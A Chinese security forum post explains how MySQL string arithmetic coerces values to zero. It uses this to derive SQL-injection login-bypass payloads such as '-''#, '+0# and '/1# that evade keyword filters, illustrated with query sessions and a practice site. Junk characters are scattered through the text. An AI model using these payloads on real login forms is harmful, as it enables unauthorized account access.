找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
% r9 @1 B" m9 X, c0 x有以下表结构: 4 V5 U8 C+ x5 e4 W# _
' c7 m, z- M7 V8 Q
mysql> desc admin;
, p. [/ Y' H8 H& Q' K+----------+--------------+------+-----+---------+----------------+
: P7 l; a) w7 b| Field    | Type         | Null | Key | Default | Extra          |; t2 Y( O  }* Q4 d9 E
+----------+--------------+------+-----+---------+----------------+
3 R) J6 Z2 }/ X$ I5 r% {) Z| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |/ q2 W7 h- b3 [/ ?3 C' q3 F7 y/ z
| name     | char(32)     | NO   | UNI | NULL    |                |4 W0 i: |6 Z1 x9 z  }4 A
| password | char(32)     | NO   | UNI | NULL    |                |0 R1 D8 Y5 z- }) d; q3 ^
+----------+--------------+------+-----+---------+----------------+
+ \4 X# R. _% J- Z3 rows in set (0.00 sec)
, e. p0 }6 i  O! F+ o, N执行select * from admin;,成功返回所有记录内容。+ |$ u2 R+ {1 }0 \& e- Q
$ ?0 \& e# u+ v# z( [' Q: X. y
+ Q0 d! r1 F. @1 `1 R: A0 d
+----+--------+----------------------------------+) `; L) O2 [$ l$ Q
| id | name   | password                         |
- R& W+ N8 U- u0 X- U2 A+----+--------+----------------------------------+
9 H2 F7 T5 P. _4 P|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
" [) ?% U% `% X0 o" J+ {|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% g7 s7 ~+ L, A# E" X2 G
|  4 | n00b   | ff80e8508d39047460921792273533a4 |- Y% u+ m, L% {
+----+--------+----------------------------------+8 N" ]) Y, \6 x, Q% p
3 rows in set (0.00 sec)
+ k, L. w- O# H1 z执行select * from admin where name=”;,没有匹配到任何记录。 ! r' x4 n! |2 M8 J* l1 i3 z. w, A% s
( t  |) v  @2 x6 h3 m# s9 V9 E' |
mysql> select * from admin where name = '';
2 r2 q. f4 h& g# V) P- AEmpty set (0.00 sec)0 x% H9 c$ h5 e9 k( m
那么我们来执行select * from admin where name = ”-”;5 j) C0 _) f9 U  L2 ~

) ]3 a) ^6 @8 x( A0 S/ s
1 w; w/ W" P; r+----+--------+----------------------------------+
5 O6 L5 \, t$ t0 Q0 A| id | name   | password                         |/ m3 A7 w, H0 L
+----+--------+----------------------------------+( F- U5 ^6 o! W. g- u; `5 y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |; H. P0 X( p- j. W  ^1 f
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
, p8 G& I) Z( t. f* v5 y6 o|  4 | n00b   | ff80e8508d39047460921792273533a4 |8 ?! o4 v" c) Y- D
+----+--------+----------------------------------+" ~3 t8 b" {. p: K2 Z5 f, ]
3 rows in set, 3 warnings (0.00 sec)
9 M) ?2 j2 B3 ]可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
9 B8 R* v* @* g( F( M  Z" V! H9 Z9 @2 e- V" G7 t! \( i
mysql> show warnings;
2 I, w" D1 \' Q" U- A+---------+------+------------------------------------------; p$ G& ~+ f7 O6 I: n
| Level   | Code | Message
* n4 M/ g) \8 P9 ^+---------+------+------------------------------------------
, t6 S  T' ~- @+ ^| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
/ K" F4 z$ p  B0 V( B0 @% ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
* ]8 }: a; N5 c1 O" y5 E| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
4 V. }5 f( r7 F9 j- l+---------+------+------------------------------------------
: Y0 r5 h( f: M6 o0 ^% c3 rows in set (0.00 sec)
4 T' B. v/ F& s7 I& N提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
2 Y' L& \  v1 o# K4 J* w9 P" z  |2 V5 ?
mysql> select ''-'';
: s; ]( r5 h1 N4 I0 i$ \0 D5 X6 P+-------+
# j4 C# ~) ?8 c$ F/ ?, H+ e) `  Q| ''-'' |$ _/ r* Z9 U' I
+-------+
* i7 O+ l5 c; M|     0 |
* z; p2 c9 C# O2 t+-------+& @* n& N5 }9 O+ e! l- y' q  H
1 row in set (0.00 sec)5 n6 Q! }4 a& h
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
2 F1 g6 ~9 x$ r9 @5 N4 n; E" U
( }; o& E* I: Qmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
% h; m: ^$ _, M% ?4 f+-----------------------------------------------------++ g8 V0 d! v7 S, [" ?
| CAST((select name from admin limit 1,1) as DECIMAL) |
' r# |5 j& v& U# [' I+-----------------------------------------------------+7 h6 A* j7 N  p  K$ A
|                                                   0 |' P9 f$ H( {. Z' t1 U, I
+-----------------------------------------------------+
, }' {5 V, t% D, q1 row in set, 1 warning (0.00 sec)4 h  m6 a8 V' j5 a* z3 Z  k
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
/ k( h/ K( v) V' w; ~; s/ S7 V# V" c$ c  {: u( E: n. [9 I3 [' G
SQL注入场景: http://www.sqlzoo.net/hack/
+ j0 O! j9 a' N6 F5 c. W6 q$ t( k0 R( B
7 B- ^& n. N9 o1 U

: k, s0 k0 T. w4 m! w5 M; w
. u( I) ^7 ^/ R8 g! q如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。   s0 D- H' q1 B; O2 H& h$ r- z7 N

% [+ F4 i7 |3 t% P# O那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
( V. ^) g- b; `' o4 K1 M& z2 o2 i0 a: u

& v. L6 F1 n: Z0 Z9 P+ ~7 R8 J# t  J1 }. ]

- P1 \& Q) c, x2 p# [7 h7 N仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
3 {1 R% g2 B% k& D) s6 G" y( _& a+ c& [; u: {" ]4 B
   2 ]1 Y0 C6 \+ G) K% B) M
2 t4 R, g! s4 {0 b
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可# x/ K. ]$ ~, x  o5 S

# U- b3 o) B; }/ g
* |8 ?. V* G3 X( Amysql> select ''/1;, Z: I1 n/ F; A5 a% ?; f- f& O5 y
+------+/ M  O# |/ E3 P. z
| ''/1 |
  p& X8 w, H! C- G6 K+------+
( Y# }5 U5 d3 C4 ]( c! k. C|    0 |
& o! u. O% L. c% e" g* L# s+------+
' ]8 c3 Z5 L6 G7 z0 Z1 S8 H1 row in set (0.00 sec)7 o7 N0 ]! T9 c2 Q+ g. j
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  0 x! X2 @( Z; }5 |8 t" Y
- ?( w$ ]+ S8 n- C" q* A. P8 W
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
9 C) N- R* q; K8 g3 O6 Z+ w) \) c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表